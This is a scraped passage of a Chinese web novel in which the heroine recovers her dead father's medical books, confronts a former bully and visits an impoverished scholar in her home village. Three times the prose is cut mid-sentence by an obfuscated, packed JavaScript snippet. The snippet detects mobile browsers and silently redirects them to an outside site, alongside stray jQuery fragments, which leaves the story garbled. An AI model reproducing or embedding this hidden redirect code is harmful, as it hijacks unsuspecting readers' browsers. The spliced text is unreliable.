她话没说完,眼睛就落在了许娇娇身上。那身藕荷色的衣裙,那料子,那做工,一看就不是普通人穿得起的。妇人的笑更深了,腰也弯了几分。 “这位娘子,您想买点什么?进来看,进来看。” 许娇娇没有动,只是看着她,淡淡道:“我找张东家。” 妇人愣了一下,随即笑道:“我就是张家的,娘子找我当家的?他这会儿在后头收拾货呢,您稍等,我这就叫他。” 她转身朝后头喊:“当家的!当家的!前头来客了,找你的!” 后头传来一阵窸窸窣窣的响动,接着一个男人的声音响起:“谁啊?” 一个男人掀开帘子从后头出来。三十来岁,中等个头,尖嘴猴腮,一双眼睛滴溜溜地转,一看就是个精明人。他一边往外走一边系着腰带,嘴里还嘟囔着:“啥事儿啊,正忙着呢……” 他一抬头,看见门口站着的许娇娇,还有她身后那辆大马车和几个骑马的汉子,脚步顿了一下,脸上的表情从疑惑变成了堆笑。 “这位娘子,您找我?在下姓张,是这小铺子的东家。您有啥事儿?” 许娇娇看着他,微微笑了笑。 “张东家不认识我了?” 张癞子一愣,仔细打量许娇娇。这娘子生得眉清目秀,皮肤白皙,气度不凡,一看就是大户人家的小娘子。可他想了半天,也想不起来在哪儿见过。 “这……恕小人眼拙,娘子您是……” 许娇娇没有答话,抬脚进了铺子。她四下看了看,货架上摆的东西普普通通,没什么特别。她收回目光,看向张癞子。 “我姓许,叫许娇杏。” 张癞子脸色一变。 他身后的妇人也是一愣,随即脸上的笑就僵住了。 “许……许娇杏?”张癞子干笑两声,“这……这名字听着耳熟,可小人是真不记得在哪儿……” “落溪村,”许娇娇打断他,“我阿爹叫许大郎,我阿娘姓柳。七岁那年,我阿爹阿娘没了,村里的房子,分给了你家。” 张癞子的脸色彻底变了。 他张了张嘴,想说什么,却什么都说不出来。他身后的妇人却一下子跳了起来,嗓门高得能掀翻屋顶。 “啥?你就是那个哑巴丫头?你、你来干啥?那房子是我们家分到的,都住了七八年了,你想咋的?” 许娇娇看了她一眼,那妇人被她那平静的目光一看,不知怎的,心里有些发毛,嗓门也低了下去。 “我没想咋的,”许娇娇淡淡道,“我只是想来拿回几样东西。” “啥东西?”张癞子警惕地看着她。 “我阿爹的医书,还有我阿娘的一些旧物。” 张癞子愣了一下,随即皱起眉头:“医书?旧物?那房子里啥都没有,当年分房子的时候,里头就是空的。你家的东西,谁知道去哪儿了?” 许娇娇看着他,目光依旧平静,却让张癞子莫名有些心虚。 “空的?”她轻轻重复了一遍。 “对啊,空的。”张癞子梗着脖子,“你要是不信,你自己去看。那房子我们也不住,就那么空着,你想咋看就咋看。” 他身后的妇人扯了扯他的袖子,小声道:“当家的,你……” 张癞子甩开她的手,继续道:“许娘子,不是我说你,那房子都分了七八年了,你这时候才来要东西,早干啥去了?再说了,当初分房子是村里耆老定的,你找我们也没用。你要是有意见,找耆老去。” 许娇娇没有说话,只是看着他。 张癞子被她看得越来越心虚,却强撑着道:“咋的?你还想抢回去不成?我告诉你,这可是镇上,有官差的,你……” “我不抢。”许娇娇打断他,从袖中取出一样东西,放在柜台上。 那是一锭银子,五两重。 张癞子眼睛一下子直了。 “这是五两银子,”许娇娇道,“买你一个准话。我家的东西,到底在不在那房子里?” 张癞子盯着那锭银子,咽了口唾沫。他身后的妇人眼睛也直了,扯他袖子的手劲更大了。 “当家的……” 张癞子咬了咬牙,一把抓起那锭银子,揣进怀里。 “在在在,”他连声道,“当年分房子的时候,屋里是有几箱子东西。那些衣物早就没了,还有些书籍,我们也不识字,一直不知如何处理,就堆在后头柴房里,这些年也没动过。许娘子您要是想要,这就去拿,这就去拿。” 他身后的妇人急了:“当家的,你……” 张癞子瞪她一眼:“闭嘴!” 许娇娇看着他那副嘴脸,心里冷笑一声,面上却不动声色。 “那就劳烦张东家带个路。” 张癞子连连点头:“行行行,我这就带您去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399558|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。娘子您稍等,我拿个钥匙。” 他转身进了后头,那妇人狠狠瞪了许娇娇一眼,也跟了进去。 静尘走到许娇娇身边,低声道:“娇杏,这人……” 许娇娇轻轻摇头,示意她不必多说。 不多时,张癞子拿着钥匙出来,点头哈腰道:“许娘子,咱们这就走?” 许娇娇点点头,转身出了铺子。 张癞子跟着出来,看见门口那辆大马车和那几个骑马的汉子,眼珠子转了转,凑上来道:“许娘子,这几位是……” “我的护卫,”许娇娇淡淡道,“张东家有意见?” “没有没有,”张癞子连忙摆手,“娘子您请,您请。” 马车往落溪村而去。张癞子坐在车辕上,心里七上八下。他揣着那五两银子,既觉得赚了,又隐隐有些不安。这许娘子,当年那个又聋又哑的丫头,如今怎么变成这样了?不但能说话了,还穿金戴银的,还带着护卫,这到底是咋回事? 他忍不住回头往车厢里看了一眼,帘子遮得严严实实,什么都看不见。 到了落溪村,马车在许家老屋门口停下。 许娇娇下了车,站在那扇破旧的木门前。 房子还是记忆里的模样。土坯墙,茅草顶,院子里的那棵枣树还在,只是枯死了半边。院墙塌了好几处,用树枝胡乱扎着。门上挂着一把生锈的铁锁,锁眼里塞着半截木棍。 张癞子拿着钥匙上前,捅咕了半天,才把锁打开。他推开门,回头笑道:“许娘子,您请。” 许娇娇抬脚跨进门槛。 屋里黑洞洞的,一股霉味扑鼻而来。她站了一会儿,眼睛才适应了里面的光线。 堂屋里的桌椅早就没了,空空荡荡的,地上积了厚厚一层灰。墙上的泥皮大片大片剥落,露出里面的土坯。屋顶有几个破洞,能看见外面的天光。 许娇娇慢慢往里走。 这是她阿爹阿娘生活过的地方。虽然她没有亲身经历过,但原主的记忆还在。她记得阿娘坐在这堂屋里纳鞋底,记得阿爹在院子里劈柴,记得自己坐在门槛上晒太阳。 那些记忆模糊又遥远,却让她心里一阵酸涩。 “东西在哪儿?”她问。 张癞子忙道:“在后头柴房里,娘子您跟我来。” 他领着许娇娇穿过堂屋,从后门出去,来到一个小院子里。院子角落里堆着些柴火,还有一间低矮的棚子,那就是柴房。 张癞子推开柴房的门,一股更浓烈的霉味冲出来。他捂着鼻子往里一指:“就在那儿,那两个箱子。” 许娇娇往里一看,墙角果然堆着两只箱子。箱子上落满了灰,有些地方还长了霉斑。她走过去,蹲下身子,轻轻拂去箱盖上的灰。 箱盖上的锁看起来已经锈迹斑斑,锁扣的位置有被破坏的痕迹,看来之前他们使用蛮力打开过箱子。 许娇娇回头看了张癩子一眼,张癩子一脸讪笑,嘴里嘟囔,“书还在,书还在。” 许娇娇站起身,回头看向长风。 长风会意,上前一步,握住那把锈迹斑斑锁,用力一拧。锁“咔哒”一声断了。 许娇娇打开箱盖。 里头果然是一堆书籍,只是横七竖八的躺在里面,最上面那本书的封面已经发黄,但字迹还能看清,《黄帝内经》。 许娇娇的眼眶一下子热了。 她拿起那本书,轻轻翻开。扉页上有一行字,是用毛笔写的,字迹工整有力:“医者仁心,济世为怀。怀瑾自勉。” 怀瑾?这难道是许大郎的名字? 许怀瑾,好名字。许娇娇心中暗忖。 她把书贴在胸口,闭上眼睛,深深吸了口气。 “阿爹,阿娘,女儿来接二老回家了。” 长风和其他人没有打扰她,静静地站在一旁。 过了好一会儿,许娇娇才睁开眼睛,把书轻轻放回箱子里。 “这些书,还有这两个箱子,”她看向张癞子,“我都要带走。” 张癞子连连点头:“行行行,娘子您尽管拿,尽管拿。” 许娇娇没有理他,只是低头看着那两个箱子。 长风招呼几个护卫上前,把箱子抬上马车。箱子一共两只。护卫们轻手轻脚,生怕磕着碰着。 许娇娇最后看了一眼这间破旧的柴房,转身往外走。 走到院门口,她停下脚步,回头看着那栋土坯房。 夕阳西下,橘红色的光落在破旧的屋顶上,给那颓败的景象添了几分暖意。 “阿爹,阿娘,”她在心里默默道,“我带你们走。往后,再也不会让你们孤零零留在这里了。” 她转身,上了马车。 马车缓缓启动,车轮碾过村中的土路,发出辚辚的声响。有人从屋里探出头来看,有人站在路边指指点点,许娇娇都没有理会。 她只是抱着那本《黄帝内经》,闭着眼睛,靠在车壁上。 静尘轻轻握住她的手,没有说话。 静心也不闹了,乖乖坐在一旁,时不时看许娇娇一眼。 马车在李婆子家门口停下。 许娇娇下了车,李婆子已经在门口等着了。看见她怀里抱着书,眼睛红红的,李婆子什么也没问,只是上前握住她的手,轻轻拍了拍。 “回来了就好,回来了就好。” 许娇娇点点头,跟着李婆子进了屋。 又吩咐长风让人把箱子就放在车上,不用拿下来了。 “你阿爹的医书都在吗?”李婆子轻声问。 许娇娇摇了摇头,“就剩两口箱子了,其余都没了。”许娇娇深深叹了口气,“幸好留了两只箱子,张癩子说他们都不认字,本来打算烧了的,后来要搬家去镇上,到将这事给忘了,就一直放在房里。” 李婆子叹了口气:“也不知你阿娘的物件还在不。记得你阿娘活着的时候,最爱穿那些衣裳。有一回我见她穿过一件藕荷色的,好看得很,就跟仙女似的。” 许娇娇低头看着箱子,没有说话。 李婆子拍拍她的手:“好了,东西能寻回来一些,也算运气好,往后就好生收着。你阿爹阿娘要是地下有知,也该放心了。” 许娇娇抬起头,看着李婆子,轻声道:“我知道阿婆,我只想要个念想。有我阿爹阿娘的东西在身边,我心中安定许多。再说了,我阿爹是从医的,往后我多学习阿爹的医术,和阿爹一样做个好郎中。” 李婆子听了,眼眶一下子湿了。她连连点头:“好好好,你阿爹要是知道,不知道多高兴。他生前最疼你,可惜……可惜……” 她说不下去了,只是紧紧握着许娇娇的手。 许娇娇轻轻靠在她肩上,没有说话。 窗外,夜幕慢慢降临,村子里传来几声狗吠,远处山影朦胧,一切都在暮色中渐渐安静下来。 89. 第89章 张三郎 翌日清晨,许娇娇是被一阵鸡鸣声唤醒的。 山里天亮得晚,窗外还是灰蒙蒙的,那一声声鸡鸣却格外嘹亮,穿透薄雾,在村子里回荡。她躺在李婆家那张硬邦邦的木板床上,身下垫着厚厚的稻草,盖着洗得发白的粗布棉被,被子里有一股阳光的味道。那是李婆子昨儿特意抱出去晒过的。 静尘和静心还睡着。静心的呼吸声有些重,嗓子还没好全,偶尔咳嗽两声。静尘侧躺着,一只手轻轻搭在静心身上,像是在睡梦中也护着她。 许娇娇没有动,只是睁着眼,看着头顶那根乌黑的房梁。房梁上挂着几串干辣椒,还有一捆干艾草,是端午时剩下的,已经落了一层薄灰。 她想起昨夜的梦。 梦里,有一位美丽温婉的夫人,穿着件藕荷色的衣裙,坐在院子里的香樟树下纳鞋底。阳光从树叶的缝隙里漏下来,斑驳地落在她身上。她抬起头,朝自己笑,喊她:“杏儿,过来,让阿娘看看你。” 她走过去,走近了,阿娘却不见了。只有那棵香樟树还在,叶子在风里沙沙响。 然后她就醒了。 许娇娇轻轻吸了口气,把那股涌上来的酸涩压回去。 外头传来李婆子的声音,压得很低,像是在跟谁说话。 “……还没醒呢,昨儿累了一天,让她们多睡会儿。你俩这么早来干啥?” 另一个声音响起,是个男人的,有些耳熟:“阿姐,我们就是来看看娇杏那丫头。昨儿听人说她回来了,还去了镇上,我心里头就一直惦记着。这不,天一亮就拉上金桂过来了。” 原来是二根叔和金桂婶子来了。 许娇娇一下子清醒过来。 她轻轻起身,披上外衣,轻手轻脚地绕过静尘静心,推开房门。 堂屋里,李婆子正站在门口,跟两个人说话。一个是四十来岁的汉子,皮肤黝黑,身材壮实,穿着半旧的短褐,手里提着一只绑了脚的母鸡。另一个是三十多岁的妇人,圆脸盘,眉眼温顺,手里挎着一个竹篮,篮子上盖着一块蓝布。 果然是他们夫妻。 许娇娇一出来,三个人同时转过头来。 金桂看见她,眼睛一下子亮了,往前走了两步,又有些踌躇地停下。她的目光落在许娇娇脸上,上上下下打量着,嘴唇动了动,却一时没说出话来。 许娇娇快步走上前,朝孙二根和金桂敛衽一礼:“二根叔,金桂婶。” 金桂的眼眶一下子就红了。 她一把抓住许娇娇的手,紧紧握着,声音有些抖:“娇杏……好孩子,好孩子……恁久不见你,长这么好了……” 她说着,眼泪就下来了。 许娇娇忙道:“二婶,您别哭,快进屋坐。” 李婆子也在一旁道:“对对对,进屋说话,外头冷。” 一行人进了堂屋。金桂拉着许娇娇不肯撒手,一直盯着她看,看不够似的。孙二根把那只母鸡放在门边,又把金桂手里的篮子接过来,放在桌上。 “娇杏丫头,”孙二根挠了挠头,有些不好意思,“我跟你婶没啥好东西,就带了几只鸡蛋,一篮子青菜,都是自家种的养的,你别嫌弃。” 许娇娇看着那篮子,鸡蛋一个个擦得干干净净,码得整整齐齐;青菜择得干干净净,水灵灵的,还带着露水。她心里一暖,轻声道:“二根叔说哪里话,这些东西比什么都金贵。劳金桂婶费心。” 金桂抹了抹眼泪,拉着许娇娇坐下。 “娇杏啊,”她看着许娇娇,眼里满是感激,“我这条腿,要不是你,早就废了。那年你托人带回来的药方子和药材,我照着用了,用了几个月,竟真的好了!” 她说着,站起身,在许娇娇面前走了几步,又蹲下站起,动作利索得很。 “你看,如今跑跑跳跳的,啥事没有!去年秋收,我还下地割了两天稻子呢!” 许娇娇看着她,心里也替她高兴。当年她还在水月庵后山的时候,李婆子来看她,说起金桂婶子的腿,说是年轻时候落下的毛病,一到阴雨天就疼得下不了床,吃了多少药都不管用。她便凭着记忆写了个方子,又配了些药材,托李婆子带回来。 那时候她也没把握,毕竟没有亲自诊过脉,只是根据李婆子的描述推断的。后来又亲自看了一趟,写了个方子,之后就离开了,在后来她托人又带了个方子和药材,如今看来,那方子果然管用。 “金桂婶好了就好,”她笑道,“也是金桂婶自己有福气。” “啥福气,”金桂连连摆手,“都是托你的福!你一个小丫头,竟比那些老郎中还有本事。我听人说你在菰城做了女医,还在疫病中立了大功,连钦差天使都夸你?了不得了不得!” 许娇娇淡淡一笑:“不过是尽本分罢了。” 孙二根在一旁搓着手,憨厚地笑着。他看看许娇娇,又看看李婆子,忽然想起什么,道:“对了娇杏,昨儿我去镇上,碰见张三郎了。” 许娇娇微微一怔:“张三郎?” “就是耆老他们那房的。”孙二根道,“他不是在县衙做事嘛,如今回来了,赋闲在家。” 李婆子皱起眉头:“咋回事?不是做得好好的?” 孙二根叹了口气,压低了声音:“还不是这回王大户的案子闹的。听说县衙里那些当官的,好些都受了牵连。知县老爷被罢了官,县丞、主簿也都撸了,底下那些小吏,但凡跟王大户有过往来的,都没落着好。张三郎虽说只是个押司手下跑腿的,可架不住他从前替王大户跑过腿啊,这回也一并被捋了。” 许娇娇听着,面上不动声色,心里却暗暗称快。 那张三郎,她可没忘。 当年她还是个孤女的时候,村里那些孩子追着她打,往她身上扔土坷垃,骂她是“哑巴”“克星”,张三郎就是领头的那几个之一。他比娇杏大好几岁,下手最狠。有一回,他用弹弓打她,石子儿擦着她耳朵飞过去,差点打中眼睛。她吓得躲在家里不敢出门,他在外头跟一群孩子拍着手笑。 后来她离开落溪村,再也没见过他。 如今他被罢了官,倒真是因果报应。 金桂在一旁小声道:“我听说,张三郎昨儿就回村了,今儿一早就往这边来了。娇杏,他要是来找你……” 话音未落,外头忽然传来一阵脚步声,接着传来了敲门声:“李婆!李婆在家不?” 李婆子脸色一变,看了许娇娇一眼。 许娇娇微微点头,示意她无妨。 李婆子这才站起身,迎了出去。 堂屋的门开着,许娇娇能看见外头的动静。院门口站着一个二十来岁的年轻人,穿着半旧的青布袍子,面容消瘦,眉眼间带着几分精明相,正是张三郎。 他一看见李婆子,脸上就堆起笑:“李婆,听说许大郎家的娇杏回来了,特地来看看。娇杏在不在?” 李婆子还没说话,张三郎已经绕过她,往堂屋里张望。一眼看见许娇娇坐在里头,他眼睛一亮,几步就跨了进来。 “娇杏妹妹!”他满脸堆笑,拱手作揖,“好久不见,好久不见!昨儿听人说你回来了,我还不信,今儿一见,果然是妹妹!几年不见,妹妹出落得这般好了,真是……真是……” 他上下打量着许娇娇,眼里闪过几分复杂的神色。没想到,原先那个哑巴竟然出落的如此出挑。比县城里朱四郎茶馆里最红的钱二姐都俊。不,钱二姐算什么,当真是不能比。他眼中不由露出一丝惊讶和羡慕,还有一丝难以掩饰的谄媚。 许娇娇端坐着,没有起身,只是淡淡看了他一眼。 “张三哥。”她的声音平静无波。 张三郎脸上的笑容僵了一瞬,随即又热络起来。他也不等让,自己就在旁边的凳子上坐了,往前探着身子,一副亲近模样。 “娇杏妹妹,这些年你在菰城的事,我都听说了。了不得,了不得!又是做女医,又是救疫病,连钦差都赏识你!咱们落溪村这么多年,可没出过你这样有出息的人物!” 许娇娇没有说话,只是看着他。 张三郎被她看得有些不自在,干笑了两声,又道:“妹妹如今发达了,可别忘了咱们这些老乡亲。当年咱们可是一块儿长大的,虽说小时候不懂事,闹着玩儿过几次,可那也是小孩子不懂事,妹妹大人大量,不会往心里去吧?” 许娇娇端起桌上的粗陶碗,慢慢喝了一口水,才道:“张三哥今日来,就是叙旧的?” 张三郎愣了一下,讪讪道:“也……也不全是。那个,我听说妹妹跟那位钦差身边的人有些交情?还有菰城那些大人物,妹妹也都认得?” 许娇娇放下碗,抬眼看他。 张三郎被她这一眼看得心里发毛,却还是硬着头皮道:“妹妹也知道,我原先在县衙做事,虽说官职不大,可好歹也是吃公家饭的。这回受了牵连,被罢了职,实在是冤枉。我就是替王大户跑过几回腿,收过几回东西,那些见不得人的事,我是一概不知啊!如今赋闲在家,一家老小都指着我养活,实在是……实在是走投无路了。” 他说着,做出一副可怜相,眼睛却偷偷觑着许娇娇的表情。 “妹妹如今人面广,能不能……能不能帮我在上头递句话?哪怕给我找个差事,县衙里不行,别的地方也成。妹妹的大恩大德,我张三郎一辈子记着!” 他说完,眼巴巴地看着许娇娇。 堂屋里一时安静下来。 孙二根和金桂对视一眼,都没说话。李婆子站在门口,脸色有些不好看。 许娇娇看着张三郎,忽然笑了一下。 那笑容很淡,却让张三郎心里咯噔一声。 “张三哥,”许娇娇的声音不紧不慢,“你方才说,小时候那些事,是小孩子不懂事,让我别往心里去?” 张三郎连忙点头:“对对对,小孩子不懂事,妹妹别……” “可我往心里去了。” 许娇娇打断他,声音依旧平静,目光却冷了下来。 “那年我七岁,我阿爹阿娘刚走,我一个人躲在屋里不敢出门。你带着一群孩子,在我家门口拍着手笑,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当年她还在水月庵后山的时候,水仙姑被官府收押,就是这位赵秀才出的面。虽说后来水仙姑被王大官人找关系疏通了出来,但那份恩情,许娇娇一直记得。 后来她离开水月庵,辗转去了菰城,偶尔托人带信给李婆子,也问起过赵秀才的事。李婆子回信说,赵秀才被水仙姑使了人打了一顿,伤得不轻,养了大半年才好。 “赵先生如今怎样?”许娇娇问。 李婆子叹了口气:“还是那样,一个人住在村东头那间老屋里。他那人你也知道,性子孤僻,不爱跟人来往,也不种地,也不做买卖,就靠着给人写写信、写写对联挣几个铜板,勉强度日。前些年还能教几个蒙童,如今村里孩子都去镇上念书了,他也就闲下来了。” 许娇娇听着,心里有些不是滋味。 “他那伤,可好全了?” “好是好全了,”李婆子道,“可到底是挨了打,身子骨不如从前了。前年冬天大病一场,险些没熬过去。我去看过他几回,瘦得只剩一把骨头。这两年好些了,可也干不了重活,就那样将就着过。” 金桂在一旁小声道:“我听人说,王寡妇常去看他,给他送吃的送穿的,还帮他洗衣裳。可赵秀才那人迂得很,不肯受她的好,总往外推。” 许娇娇挑了挑眉:“王寡妇?” “就是村西头王家的那个,”李婆子道,“你该有些印象,她男人走得早,撇下她带着两个孩子,大的今年该有十五六了,小的十一二岁。那女人也是个命苦的,可心肠好,人也勤快,一个人拉扯两个孩子,愣是没让人戳脊梁骨。” 金桂接道:“可不就是嘛!她对赵秀才那个心思,村里人都看得出来。前两年还有人撮合来着,可赵秀才死活不肯,说什么‘寡妇门前是非多’‘自己是个穷酸秀才,配不上人家’,把人气得够呛。” 许娇娇听着,嘴角微微弯了起来。 “他那是替人家着想,”她轻声道,“怕自己拖累了她。” 李婆子叹了口气:“可不是嘛!赵秀才那人,是个真君子。可这世道,君子往往没好报。” 许娇娇没有说话,只是垂着眼,不知在想什么。 静尘在一旁轻声道:“那位王寡妇,是个什么样的人?” 金桂想了想,道:“是个实诚人。长得也算周正,虽说不年轻了,可收拾得干干净净的。两个娃娃也教得好,大的那个还在镇上铁匠铺跟着老邢头打铁呢,听说手艺学的不错。那农具打的像模像样。” 许娇娇抬起头,看向李婆子:“阿婆,我想去看看赵先生。” 李婆子愣了一下,随即点点头:“应该的应该的。当年要不是他,水仙姑那案子也闹不起来。虽说后来那水仙姑又出来了,可那份心,是难得的。” 她站起身:“走,阿婆带你去。” 90. 第90章 正直的赵秀才 许娇娇也站起来,对孙二根和金桂道:“二根叔,婶子,你们先坐,我去去就回。” 金桂忙道:“去吧去吧,正事要紧。我们就在这儿等着,中午给你们做饭吃。” 许娇娇笑了笑,跟着李婆子出了门。 赵秀才的家在村东头,离李婆子家不远。沿着村中的土路走上一炷香的工夫,就到了。 那是三间低矮的土坯房,比李婆子家还要破旧些。院墙是用石头垒的,好多处已经塌了,用荆棘胡乱堵着。院子里长满了枯草,一条小径从院门口通到屋门前,是被踩出来的,光秃秃的。 李婆子在院门口停下,朝里喊了一声:“赵先生!在家不?” 过了一会儿,屋门开了。 一个瘦削的身影出现在门口。 那是个三十七八岁的男子,穿着一件洗得发白的青布长衫,浆洗得干干净净,却已经磨得有些透明了。他生得清瘦,面容苍白,下颌蓄着几缕长须,一双眼睛却格外清亮,透着一股书卷气。 他看见李婆子,微微怔了怔,又看见李婆子身后的许娇娇,目光里闪过一丝疑惑。 “李婶,”他的声音有些沙哑,“这位是……” 李婆子笑道:“赵先生,你不认得她了?这是许大郎家的娇杏啊!” 赵秀才愣住了。 他仔细打量着许娇娇,看了好一会儿,才慢慢露出恍然的神色。 “是……是娇杏?” 许娇娇上前一步,郑重地敛衽一礼。 “赵先生安好。多年不见,先生可好?” 赵秀才连忙摆手:“使不得使不得,快请进,快请进。” 他把两人让进屋里。 屋里比外头看起来还要简陋。堂屋里只有一张歪腿的方桌,两条长凳,墙角堆着些书,用草绳捆着。墙上贴着一幅字,纸张已经泛黄发脆,上头写着八个端正的楷书—— “但行好事,莫问前程。” 没有装裱,只是用浆糊直接贴在土墙上,边角已经起了翘。可那字迹工整有力,一笔一划都透着认真,看得出写字的人是个方正之人。 许娇娇看着那幅字,心里微微一动。 赵秀才见她在看那幅字,淡淡一笑,道:“前些年病得重,躺在床上起不来,想着自己这一辈子,也没攒下什么,就写了这几个字,给自己提个醒。字丑,让娇杏见笑了。” 许娇娇摇摇头:“先生谦虚了,这字写得极好。这话也极好。” 李婆子在一旁插不上话,只是四下打量着屋子,嘴里念叨着:“赵先生这屋子,比上回来又破了些。那墙角都漏风了,冬天可咋过……” 赵秀才也不在意,只是招呼她们坐下,又张罗着要去倒水。许娇娇忙拦住他,说只是来看看先生,说说话就走,不必忙活。 赵秀才这才坐下,看着许娇娇,眼里带着几分感慨。 “娇杏……我听说你的事了,”他轻声道,“你在菰城做了女医,救了很多人。好,好,你阿爹阿娘要是知道,不知多高兴。” 许娇娇微微低下头:“先生过奖了。当年要不是先生出面,水仙姑也不会被官府收押。虽说后来……可先生的大恩,娇杏一直记在心里。” 赵秀才摆摆手:“那不算什么。那水仙姑为恶多端,我只是做了该做的事。只可惜,后来……” 他说着,叹了口气。 许娇娇看着他,轻声道:“我听说,水仙姑出狱后,曾使人对先生不利。先生的伤,可好全了?” 赵秀才微微一怔,随即苦笑了一下。 “都是过去的事了,不提也罢。” 李婆子在一旁道:“赵先生,你这个人就是太要强。受了那么大的罪,也不肯吭一声。要不是村里人说起,谁都不知道你挨了打。” 赵秀才摇摇头:“不说那些了。娇杏今日能来看我,我很高兴。你们……坐,坐。” 他说着,忽然咳嗽起来,咳了好一会儿才止住。 许娇娇看着他苍白的脸色,心里有些担忧。她想了想,轻声道:“先生,娇杏如今略通医术,若先生不嫌弃,让娇杏给先生把个脉可好?” 赵秀才愣了一下,随即摆摆手:“不必不必,我没事,就是老毛病了……” “先生,”许娇娇打断他,声音温和却坚定,“让娇杏看看,就当是让娇杏还先生一份人情。” 赵秀才看着她那双清亮的眼睛。见不好推辞,只好点了点头。 “有劳。” 许娇娇起身,走到他身边,轻轻按上他的手腕。 屋里安静下来。 李婆子在一旁看着,不敢出声。 过了好一会儿,许娇娇松开手,眉头微微蹙起。 “先生这咳嗽,不是一日两日了,”她轻声道,“脉象虚浮,肺气不足,脾胃也弱。先生这些年,怕是没好好调养过。” 赵秀才苦笑了一下,没有说话。 许娇娇看着他,心里有些发堵。 这个人是真的君子。他帮了别人,自己却落到这般境地。 可她什么都做不了,除了…… “先生,”她轻声道,“娇杏有个不情之请。” 赵秀才看向她:“你说。” “先生方才说,当年告状,是做了该做的事。可先生知道吗,若不是先生那回告状,水仙姑后来未必会被绳之以法。虽说中间有些波折,可善恶到头终有报,先生的义举,是种了善因的。” 赵秀才怔了怔,没有说话。 许娇娇继续道:“娇杏如今在菰城行医,虽说不上多富裕,可也攒了些积蓄。先生若是不嫌弃,娇杏想给先生留些银钱,让先生好好调养身子。” 赵秀才脸色一变,正要开口,许娇娇已经抢先道:“先生先别忙着推辞。娇杏知道先生是君子,不肯受嗟来之食。可先生也想想,先生身子好了,才能继续做想做的事。先生那一肚子学问,总不能就这么荒废了。” 赵秀才张了张嘴,却什么都说不出来。 李婆子在一旁道:“赵先生,娇杏这孩子是真心实意的,你就收下吧。她如今有出息了,帮帮当年帮过她的人,也是应该的。” 赵秀才沉默了很久。 终于,他轻轻叹了口气,朝许娇娇拱了拱手。 “那……我就愧领了。” 许娇娇笑了,从袖中取出一张银票,放在桌上。 “先生先用着,若是不够,托人带个信给娇杏。娇杏在菰城柳枝巷,一问便知。” 赵秀才看着那张银票,眼眶微微有些泛红。他没有再推辞,只是轻轻点了点头。 许娇娇站起身,准备告辞。走到门口,她忽然回过头。 “先生,”她轻声道,“娇杏听阿婆说,王婶子常来看先生。” 赵秀才愣了一下,随即低下头去,没有说话。 许娇娇看着他,心里暗暗叹了口气。 “先生是个好人,王婶子也是个好人。娇杏斗胆说一句,这世上,能遇到一个真心待自己的人不容易。先生若是心里有她,就别再往外推了。” 赵秀才抬起头,看着她,目光里有些复杂。 许娇娇微微一笑,没有再说什么,转身出了门。 回李婆子家的路上,李婆子小声道:“娇杏,你说赵秀才跟王寡妇那事,能成不?” 许娇娇想了想,道:“只要赵秀才自己想通,就能成。王婶子那边,怕是一直等着呢。” 李婆子叹了口气:“也是。那王寡妇也是个痴心的,守了这么些年,也不容易。” 许娇娇没有说话,只是望着远处渐渐落下的太阳。 这世间,好人总该有好报的。 她想着,嘴角微微弯了起来。 回到李婆子家,孙二根和金桂已经张罗着做起饭来。厨房里飘出饭菜的香味,静心不知什么时候起来了,正蹲在院子里逗那只黄狗玩,笑得咯咯的。 静尘站在院门口,看见许娇娇回来,脸上露出浅浅的笑。 “回来了?” 许娇娇点点头,走过去,跟她一起站在院门口。 “师姐,”她轻声道,“我想好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403684|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 静尘看向她:“想好什么?” “赵秀才的事,我帮不了太多,只能留些银钱。王婶子那边,若是他们真能成,我想着,日后给他们添一份贺礼。” 静尘微微一笑:“你想得很周全。” 许娇娇摇摇头:“不是我周全,是他们值得。” 远处,夕阳渐渐沉入山后,天边的云被染成橘红色。村子里的炊烟袅袅升起,鸡鸣狗吠声此起彼伏,一切都那么平常,又那么温暖。 许娇娇深吸一口气,觉得心里那些沉甸甸的东西,好像轻了一些。 “师姐,”她忽然道,“我想在这边多待几天。” 静尘看着她,没有说话。 许娇娇轻声道:“阿爹阿娘的坟,我想重新修一修,多给他们烧些纸钱。” 也算不负他们养育一场。 静尘点点头:“好,那就多待几天。” 许娇娇转头看她,笑了。 “师姐,你真好。” 静尘被她这一笑弄得有些不好意思,垂下眼,轻声道:“说什么傻话。” 院子里,静心和长风正在说话,李婆子家的大黄狗正满院子追着一只鸡跑。李婆子从厨房里探出头来,呵斥了了一声,便又缩回头去忙乎。 